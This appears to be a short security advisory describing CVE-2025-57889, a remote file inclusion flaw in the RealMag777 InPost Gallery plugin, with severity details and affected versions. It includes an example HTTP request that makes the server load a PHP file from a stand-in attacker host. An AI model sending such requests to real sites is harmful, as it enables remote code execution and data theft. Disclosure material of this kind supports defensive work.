Overview
CVE-2025-57889 is a severe security vulnerability in the RealMag777 InPost Gallery, specifically within its handling of PHP files. If exploited, this vulnerability could lead to potential system compromise or data leakage, posing a serious threat to users and enterprises utilizing this software. The implications of this vulnerability underline the importance of prompt patch application and robust cybersecurity measures.
Vulnerability Summary
CVE ID: CVE-2025-57889
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Possible system compromise and data leakage
Affected Products
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- • Secure notes for sensitive information
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Product | Affected Versions
RealMag777 InPost Gallery | Up to 2.1.4.5
How the Exploit Works
The exploit takes advantage of the PHP program’s improper control of filenames for the include/require statement. This flaw allows an attacker to include malicious PHP files from remote servers, leading to a Remote File Inclusion (RFI) vulnerability. The attacker can run arbitrary code in the context of the web application, potentially compromising the system or leading to data leakage.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited using an HTTP request. This is not a real exploit code but is provided to demonstrate the nature of the vulnerability.
GET /index.php?page=http://attacker.com/malicious_file.php HTTP/1.1
Host: vulnerable_site.com
This request instructs the server to fetch and include ‘malicious_file.php’ from ‘attacker.com’ in the response for ‘index.php’. The malicious PHP file could contain code designed to compromise the server or exfiltrate sensitive data.
